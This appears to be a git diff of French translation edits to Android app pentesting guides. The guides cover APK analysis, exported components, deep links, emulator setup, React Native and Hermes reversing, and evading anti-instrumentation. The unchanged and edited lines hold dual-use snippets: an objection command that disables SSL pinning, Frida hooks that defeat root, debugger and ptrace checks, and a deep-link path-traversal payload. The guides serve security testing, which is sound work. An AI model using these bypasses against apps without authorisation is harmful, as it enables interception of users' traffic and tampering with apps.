Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser le certificat CA de Burp sur l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un nom d'hôte différent et l'utiliser.
|
||||
Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser le certificat CA de Burp sur l'appareil. Vous pouvez également générer avec Burp un certificat pour un nom d'hôte différent et l'utiliser.
|
||||
|
||||
### Cryptographie cassée
|
||||
|
||||
@ -200,7 +200,7 @@ Selon ce [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-
|
||||
|
||||
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **sinks** (qui indiquent à l'outil les **endroits dangereux** où une entrée utilisateur malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité.
|
||||
|
||||
Avec cette connaissance, **mariana-trench examinera le code et trouvera d'éventuelles vulnérabilités.**
|
||||
Avec cette connaissance, **mariana-trench examinera le code et trouvera les vulnérabilités possibles.**
|
||||
|
||||
### Secrets divulgués
|
||||
|
||||
@ -254,11 +254,11 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _**VirtualBox** pour éviter des erreurs potentielles._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _ _**VirtualBox** pour éviter des erreurs potentielles._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuit, mais il ne prend pas en charge Frida ou Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Lorsque vous créez un nouvel émulateur sur n'importe quelle plateforme, rappelez-vous que plus l'écran est grand, plus l'émulateur fonctionnera lentement. Donc, sélectionnez des écrans petits si possible.
|
||||
> Lorsque vous créez un nouvel émulateur sur n'importe quelle plateforme, rappelez-vous que plus l'écran est grand, plus l'émulateur fonctionnera lentement. Donc, sélectionnez de petits écrans si possible.
|
||||
|
||||
Pour **installer les services Google** (comme l'AppStore) dans Genymotion, vous devez cliquer sur le bouton marqué en rouge de l'image suivante :
|
||||
|
||||
@ -274,12 +274,12 @@ Vous devez activer les **options de débogage** et il serait bien si vous pouvie
|
||||
2. (À partir d'Android 8.0) Sélectionnez **Système**.
|
||||
3. Sélectionnez **À propos du téléphone**.
|
||||
4. Appuyez sur **Numéro de build** 7 fois.
|
||||
5. Revenez en arrière et vous trouverez les **options de développement**.
|
||||
5. Revenez en arrière et vous trouverez les **options de développeur**.
|
||||
|
||||
> Une fois que vous avez installé l'application, la première chose que vous devriez faire est de l'essayer et d'enquêter sur ce qu'elle fait, comment elle fonctionne et vous y habituer.\
|
||||
> Je vous suggérerais de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
|
||||
> Je vous suggérerai de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
|
||||
|
||||
### Fuite de données involontaire
|
||||
### Fuite de données non intentionnelle
|
||||
|
||||
**Journalisation**
|
||||
|
||||
@ -301,11 +301,11 @@ En tant que pentester, **essayez de jeter un œil à ces journaux**.
|
||||
|
||||
**Données analytiques envoyées à des tiers**
|
||||
|
||||
Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **fuir des données sensibles** en raison d'une mise en œuvre incorrecte par les développeurs. Pour identifier d'éventuelles fuites de données, il est conseillé de **intercepter le trafic de l'application** et de vérifier toute information sensible envoyée à des services tiers.
|
||||
Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **fuir des données sensibles** en raison d'une mise en œuvre incorrecte par les développeurs. Pour identifier les fuites de données potentielles, il est conseillé de **intercepter le trafic de l'application** et de vérifier toute information sensible envoyée à des services tiers.
|
||||
|
||||
### Bases de données SQLite
|
||||
|
||||
La plupart des applications utiliseront des **bases de données SQLite internes** pour enregistrer des informations. Lors du pentest, jetez un **œil** aux **bases de données** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** enregistrées car vous pourriez trouver des **informations sensibles** (ce qui constituerait une vulnérabilité).\
|
||||
La plupart des applications utiliseront des **bases de données SQLite internes** pour enregistrer des informations. Pendant le pentest, jetez un **œil** aux **bases de données** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** enregistrées car vous pourriez trouver des **informations sensibles** (ce qui constituerait une vulnérabilité).\
|
||||
Les bases de données devraient être situées dans `/data/data/the.package.name/databases` comme `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Si la base de données enregistre des informations confidentielles et est **cryptée** mais que vous pouvez **trouver** le **mot de passe** à l'intérieur de l'application, c'est toujours une **vulnérabilité**.
|
||||
@ -330,8 +330,8 @@ Lorsqu'une activité est exportée, vous pouvez invoquer son écran depuis une a
|
||||
|
||||
Vous pouvez également démarrer une activité exportée depuis adb :
|
||||
|
||||
- Le nom du package est com.example.demo
|
||||
- Le nom de l'activité exportée est com.example.test.MainActivity
|
||||
- PackageName est com.example.demo
|
||||
- Exported ActivityName est com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -351,7 +351,7 @@ Si le tapjacking n'est pas prévenu, vous pourriez abuser de l'activité export
|
||||
### Exploitation des Content Providers - Accéder et manipuler des informations sensibles
|
||||
|
||||
[**Lisez ceci si vous voulez rafraîchir ce qu'est un Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Les content providers sont essentiellement utilisés pour **partager des données**. Si une application a des content providers disponibles, vous pourriez être en mesure d'**extraire des données sensibles** d'eux. Il est également intéressant de tester d'éventuelles **injections SQL** et **Path Traversals** car elles pourraient être vulnérables.
|
||||
Les content providers sont essentiellement utilisés pour **partager des données**. Si une application a des content providers disponibles, vous pourriez être en mesure d'**extraire des données sensibles** à partir d'eux. Il est également intéressant de tester d'éventuelles **injections SQL** et **Path Traversals** car elles pourraient être vulnérables.
|
||||
|
||||
[**Apprenez à exploiter les Content Providers avec Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -371,9 +371,9 @@ Rappelez-vous que les actions d'un Broadcast Receiver commencent dans la méthod
|
||||
Un broadcast receiver attendra un type de message. Selon la manière dont le récepteur gère le message, il pourrait être vulnérable.\
|
||||
[**Apprenez à exploiter les Broadcast Receivers avec Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploitation des Schemes / Deep links**
|
||||
### **Exploitation des Schémas / Liens profonds**
|
||||
|
||||
Vous pouvez rechercher des deep links manuellement, en utilisant des outils comme MobSF ou des scripts comme [celui-ci](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Vous pouvez rechercher des liens profonds manuellement, en utilisant des outils comme MobSF ou des scripts comme [celui-ci](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Vous pouvez **ouvrir** un **schéma** déclaré en utilisant **adb** ou un **navigateur** :
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
@ -398,7 +398,7 @@ Chaque fois que vous trouvez un deep link, vérifiez qu'il **ne reçoit pas de d
|
||||
**Paramètres dans le chemin**
|
||||
|
||||
Vous **devez également vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}`, dans ce cas, vous pouvez forcer un parcours de chemin en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), un **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans token CSRF et que le point de terminaison vulnérable utilise la bonne méthode) et toute autre vulnérabilité. Plus [d'infos à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans jeton CSRF et que le point de terminaison vulnérable utilise la bonne méthode) et toute autre vulnérabilité. Plus [d'infos à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Plus d'exemples**
|
||||
|
||||
@ -408,11 +408,11 @@ Un [rapport de bug bounty intéressant](https://hackerone.com/reports/855618) co
|
||||
|
||||
- **Les certificats ne sont pas toujours inspectés correctement** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats auto-signés ou, dans certains cas, reviennent à utiliser des connexions HTTP.
|
||||
- **Les négociations lors de la poignée de main SSL/TLS sont parfois faibles**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques de type homme du milieu (MITM), permettant aux attaquants de déchiffrer les données.
|
||||
- **La fuite d'informations privées** est un risque lorsque les applications s'authentifient via des canaux sécurisés mais communiquent ensuite sur des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les cookies de session ou les détails des utilisateurs, contre l'interception par des entités malveillantes.
|
||||
- **La fuite d'informations privées** est un risque lorsque les applications s'authentifient via des canaux sécurisés mais communiquent ensuite par des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les cookies de session ou les détails des utilisateurs, contre l'interception par des entités malveillantes.
|
||||
|
||||
#### Vérification des certificats
|
||||
|
||||
Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour améliorer la sécurité. Cela est crucial car des configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques significatifs. Pour des étapes détaillées sur la vérification des certificats de serveur et le traitement des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
|
||||
Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour améliorer la sécurité. Cela est crucial car des configurations TLS non sécurisées et la transmission de données sensibles par des canaux non chiffrés peuvent poser des risques significatifs. Pour des étapes détaillées sur la vérification des certificats de serveur et le traitement des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -433,7 +433,7 @@ Lorsque le SSL Pinning est mis en œuvre, le contournement devient nécessaire p
|
||||
- Modifiez automatiquement l'**apk** pour **contourner** le SSL Pinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le meilleur avantage de cette option est que vous n'aurez pas besoin de root pour contourner le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
|
||||
- Vous pourriez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant **l'analyse dynamique de MobSF** (expliqué ci-dessous)
|
||||
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant **l'analyse dynamique MobSF** (expliqué ci-dessous)
|
||||
- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Recherche de vulnérabilités web courantes
|
||||
@ -477,7 +477,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Données sensibles dans le Keystore**
|
||||
|
||||
Dans Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à y stocker **des données sensibles en texte clair**, les pentests devraient vérifier cela en tant qu'utilisateur root ou toute personne ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
|
||||
Dans Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à y stocker **des données sensibles en texte clair**, les pentests devraient vérifier cela en tant qu'utilisateur root ou quelqu'un ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
|
||||
|
||||
Même si une application stocke des données dans le keystore, les données devraient être chiffrées.
|
||||
|
||||
@ -527,7 +527,7 @@ Vous connaissez probablement ce type de vulnérabilités sur le Web. Vous devez
|
||||
- **Injection SQL :** Lors de la gestion de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
|
||||
- **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusion de Fichiers Locaux :** Les WebViews ne devraient pas avoir accès au système de fichiers (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled).
|
||||
- **Cookies éternels** : Dans plusieurs cas, lorsque l'application android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
|
||||
- **Cookies éternels :** Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
|
||||
- [**Drapeau Sécurisé** dans les cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
@ -555,7 +555,7 @@ MobSF permet également de faire une analyse **diff/Compare** et d'intégrer **V
|
||||
**MobSF** peut également être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas, vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionnera pas). _Remarque : Vous devez **d'abord démarrer une VM dans genymotion** et **ensuite MobSF.**_\
|
||||
L'**analyseur dynamique MobSF** peut :
|
||||
|
||||
- **Extraire les données de l'application** (URLs, journaux, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML et autres fichiers créés). Tout cela se fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous souhaitez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
|
||||
- **Extraire les données de l'application** (URLs, journaux, presse-papiers, captures d'écran faites par vous, captures d'écran faites par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML et autres fichiers créés). Tout cela se fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous voulez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
|
||||
- Capturer le **trafic HTTPS**
|
||||
- Utiliser **Frida** pour obtenir des **informations d'exécution**
|
||||
|
||||
@ -595,7 +595,7 @@ receivers
|
||||
```
|
||||
**Outils HTTP**
|
||||
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue peu esthétique du trafic capturé sur le bouton "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur le bouton "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools, sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzz les requêtes http** et rechercher des vulnérabilités.
|
||||
@ -640,7 +640,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER est une application en ligne de commande qui peut être utilisée sous Windows, MacOS X et Linux, qui analyse les fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APK et en appliquant une série de règles pour détecter ces vulnérabilités.
|
||||
SUPER est une application en ligne de commande qui peut être utilisée sur Windows, MacOS X et Linux, qui analyse les fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APK et en appliquant une série de règles pour détecter ces vulnérabilités.
|
||||
|
||||
Toutes les règles sont centrées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont ils ont besoin.
|
||||
|
||||
@ -662,7 +662,7 @@ Télécharger[ dernière version](https://github.com/vincentcox/StaCoAn/releases
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités de sécurité potentielles dans les applications Android.\
|
||||
Le framework AndroBugs est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités de sécurité potentielles dans les applications Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -682,12 +682,12 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** est un **M**obile **A**pplication **R**everse engineering et **A**nalysis Framework. C'est un outil qui regroupe des outils couramment utilisés pour l'ingénierie inverse et l'analyse des applications mobiles, afin d'aider à tester les applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus facile et plus conviviale pour les développeurs d'applications mobiles et les professionnels de la sécurité.
|
||||
**MARA** est un **M**obile **A**pplication **R**everse engineering et **A**nalysis Framework. C'est un outil qui regroupe des outils d'ingénierie inverse et d'analyse d'applications mobiles couramment utilisés, pour aider à tester les applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus facile et plus conviviale pour les développeurs d'applications mobiles et les professionnels de la sécurité.
|
||||
|
||||
Il est capable de :
|
||||
|
||||
- Extraire du code Java et Smali en utilisant différents outils
|
||||
- Analyser des APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Analyser des APK en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extraire des informations privées de l'APK en utilisant des regexps.
|
||||
- Analyser le Manifest.
|
||||
- Analyser les domaines trouvés en utilisant : [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) et [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
@ -709,7 +709,7 @@ ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la co
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Trouvez un guide étape par étape pour déobfusquer l'apk sur [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Trouvez un guide étape par étape pour déobfusquer l'apk dans [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(D'après ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était :
|
||||
|
||||
|
@ -7,7 +7,7 @@ Cette page fournit un flux de travail pratique pour regagner une analyse dynamiq
|
||||
## Surface de détection (ce que les applications vérifient)
|
||||
|
||||
- Vérifications de root : binaire su, chemins Magisk, valeurs getprop, paquets root courants
|
||||
- Vérifications Frida/debugger (Java) : Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), analyse de /proc, classpath, libs chargées
|
||||
- Vérifications Frida/debugger (Java) : Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scan de /proc, classpath, libs chargées
|
||||
- Anti-debug natif : ptrace(), syscalls, anti-attach, breakpoints, hooks en ligne
|
||||
- Vérifications d'initialisation précoce : Application.onCreate() ou hooks de démarrage de processus qui plantent si l'instrumentation est présente
|
||||
- Pinning TLS : TrustManager/HostnameVerifier personnalisé, OkHttp CertificatePinner, pinning Conscrypt, pins natifs
|
||||
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
Triager les premiers plantages ? Dump des classes juste avant qu'il ne meure pour repérer les espaces de noms de détection probables :
|
||||
Triager les premiers plantages ? Dump les classes juste avant qu'il ne meure pour repérer les espaces de noms de détection probables :
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
|
||||
});
|
||||
});
|
||||
```
|
||||
Journaliser et neutraliser les méthodes suspectes pour confirmer le flux d'exécution :
|
||||
Enregistrer et neutraliser les méthodes suspectes pour confirmer le flux d'exécution :
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -121,7 +121,7 @@ Reversing interactif/natif :
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
Exemple : neutrer ptrace pour vaincre un anti‑debug simple dans libc :
|
||||
Exemple : neutre ptrace pour vaincre un anti‑debug simple dans libc :
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -147,7 +147,7 @@ Notes:
|
||||
References:
|
||||
- Objection : https://github.com/sensepost/objection
|
||||
|
||||
## Step 8 — Fallback : Patch TLS pinning pour la visibilité réseau
|
||||
## Étape 8 — Solution de secours : Patch TLS pinning pour la visibilité réseau
|
||||
|
||||
Si l'instrumentation est bloquée, vous pouvez toujours inspecter le trafic en supprimant le pinning de manière statique :
|
||||
```bash
|
||||
|
@ -13,7 +13,7 @@ Android Studio permet de **faire fonctionner des machines virtuelles Android que
|
||||
|
||||
Sous Windows (dans mon cas), **après avoir installé Android Studio**, j'avais les **outils SDK installés dans** : `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
|
||||
Sur mac, vous pouvez **télécharger les outils SDK** et les avoir dans le PATH en exécutant :
|
||||
Sur Mac, vous pouvez **télécharger les outils SDK** et les avoir dans le PATH en exécutant :
|
||||
```bash
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
@ -145,7 +145,7 @@ Error: Google pixel_2 no longer exists as a device
|
||||
> [!WARNING]
|
||||
> Pour macOS, vous pouvez trouver l'outil `avdmanager` dans `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users/<username>/Library/Android/sdk/emulator/emulator` si vous les avez installés.
|
||||
|
||||
Nous avons déjà vu comment vous pouvez lister les machines virtuelles créées, mais **vous pouvez également les lister en utilisant**:
|
||||
Nous avons déjà vu comment vous pouvez lister les machines virtuelles créées, mais **vous pouvez également les lister en utilisant** :
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
||||
AVD9
|
||||
@ -181,14 +181,14 @@ Cependant, il existe **beaucoup d'options utiles de ligne de commande** que vous
|
||||
|
||||
**Système**
|
||||
|
||||
- `-selinux {disabled|permissive}` : Définir le module de sécurité Security-Enhanced Linux sur désactivé ou en mode permissif sur un système d'exploitation Linux.
|
||||
- `-selinux {disabled|permissive}` : Définir le module de sécurité Security-Enhanced Linux sur mode désactivé ou permissif sur un système d'exploitation Linux.
|
||||
- `-timezone Europe/Paris` : Définir le fuseau horaire pour le dispositif virtuel
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Définir le mode d'écran tactile émulé.
|
||||
- **`-writable-system`** : Utilisez cette option pour avoir une image système écrivable pendant votre session d'émulation. Vous devrez également exécuter `adb root; adb remount`. C'est très utile pour installer un nouveau certificat dans le système.
|
||||
- **`-writable-system`** : Utilisez cette option pour avoir une image système modifiable pendant votre session d'émulation. Vous devrez également exécuter `adb root; adb remount`. C'est très utile pour installer un nouveau certificat dans le système.
|
||||
|
||||
## Rooter un appareil Play Store
|
||||
|
||||
Si vous avez téléchargé un appareil avec Play Store, vous ne pourrez pas obtenir l'accès root directement, et vous recevrez ce message d'erreur.
|
||||
Si vous avez téléchargé un appareil avec Play Store, vous ne pourrez pas obtenir le root directement, et vous recevrez ce message d'erreur
|
||||
```
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
|
@ -6,7 +6,7 @@ Pour confirmer si l'application a été construite sur le framework React Native
|
||||
|
||||
1. Renommez le fichier APK avec une extension zip et extrayez-le dans un nouveau dossier en utilisant la commande `cp com.example.apk example-apk.zip` et `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
2. Naviguez vers le nouveau dossier ReactNative et localisez le dossier assets. À l'intérieur de ce dossier, vous devriez trouver le fichier `index.android.bundle`, qui contient le JavaScript React dans un format minifié.
|
||||
2. Naviguez vers le dossier ReactNative nouvellement créé et localisez le dossier assets. À l'intérieur de ce dossier, vous devriez trouver le fichier `index.android.bundle`, qui contient le JavaScript React dans un format minifié.
|
||||
|
||||
3. Utilisez la commande `find . -print | grep -i ".bundle$"` pour rechercher le fichier JavaScript.
|
||||
|
||||
@ -50,7 +50,7 @@ Pour rechercher des informations d'identification sensibles et des points de ter
|
||||
|
||||
1. Identifiez des mots-clés sensibles pour analyser le code JavaScript. Les applications React Native utilisent souvent des services tiers comme Firebase, des points de terminaison de service AWS S3, des clés privées, etc.
|
||||
|
||||
2. Dans ce cas spécifique, il a été observé que l'application utilisait le service Dialogflow. Recherchez un motif lié à sa configuration.
|
||||
2. Dans ce cas spécifique, l'application a été observée en train d'utiliser le service Dialogflow. Recherchez un motif lié à sa configuration.
|
||||
|
||||
3. Il a été chanceux que des informations d'identification sensibles codées en dur aient été trouvées dans le code JavaScript lors du processus de reconnaissance.
|
||||
|
||||
@ -90,7 +90,7 @@ Vous pouvez vérifier si le bundle contient du bytecode Hermes en exécutant la
|
||||
file index.android.bundle
|
||||
index.android.bundle: Hermes JavaScript bytecode, version 96
|
||||
```
|
||||
Cependant, vous pouvez utiliser les outils **[hbctool](https://github.com/bongtrop/hbctool)**, des forks mis à jour de hbctool qui prennent en charge les versions de bytecode plus récentes, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (bibliothèque/API Rust), ou **[hermes-dec](https://github.com/P1sec/hermes-dec)** pour **désassembler le bytecode** et aussi pour **le décompiler en un certain code JS pseudo**. Par exemple :
|
||||
Cependant, vous pouvez utiliser les outils **[hbctool](https://github.com/bongtrop/hbctool)**, des forks mis à jour de hbctool qui prennent en charge les versions de bytecode plus récentes, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (bibliothèque/APIs Rust), ou **[hermes-dec](https://github.com/P1sec/hermes-dec)** pour **désassembler le bytecode** et aussi pour **le décompiler en un certain code JS pseudo**. Par exemple :
|
||||
```bash
|
||||
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
|
||||
hbctool disasm ./index.android.bundle ./hasm_out
|
||||
@ -110,7 +110,7 @@ Astuce : Le projet open-source Hermes propose également des outils de développ
|
||||
|
||||
Idéalement, vous devriez être en mesure de modifier le code désassemblé (changer une comparaison, ou une valeur ou tout ce que vous devez modifier) puis **reconstruire le bytecode** et reconstruire l'application.
|
||||
|
||||
- L'**[hbctool](https://github.com/bongtrop/hbctool)** d'origine prend en charge le désassemblage du bundle et sa reconstruction après modifications, mais a historiquement pris en charge uniquement les anciennes versions de bytecode. Des forks maintenus par la communauté étendent le support aux nouvelles versions de Hermes (y compris les versions intermédiaires 80-96) et sont souvent l'option la plus pratique pour patcher les applications RN modernes.
|
||||
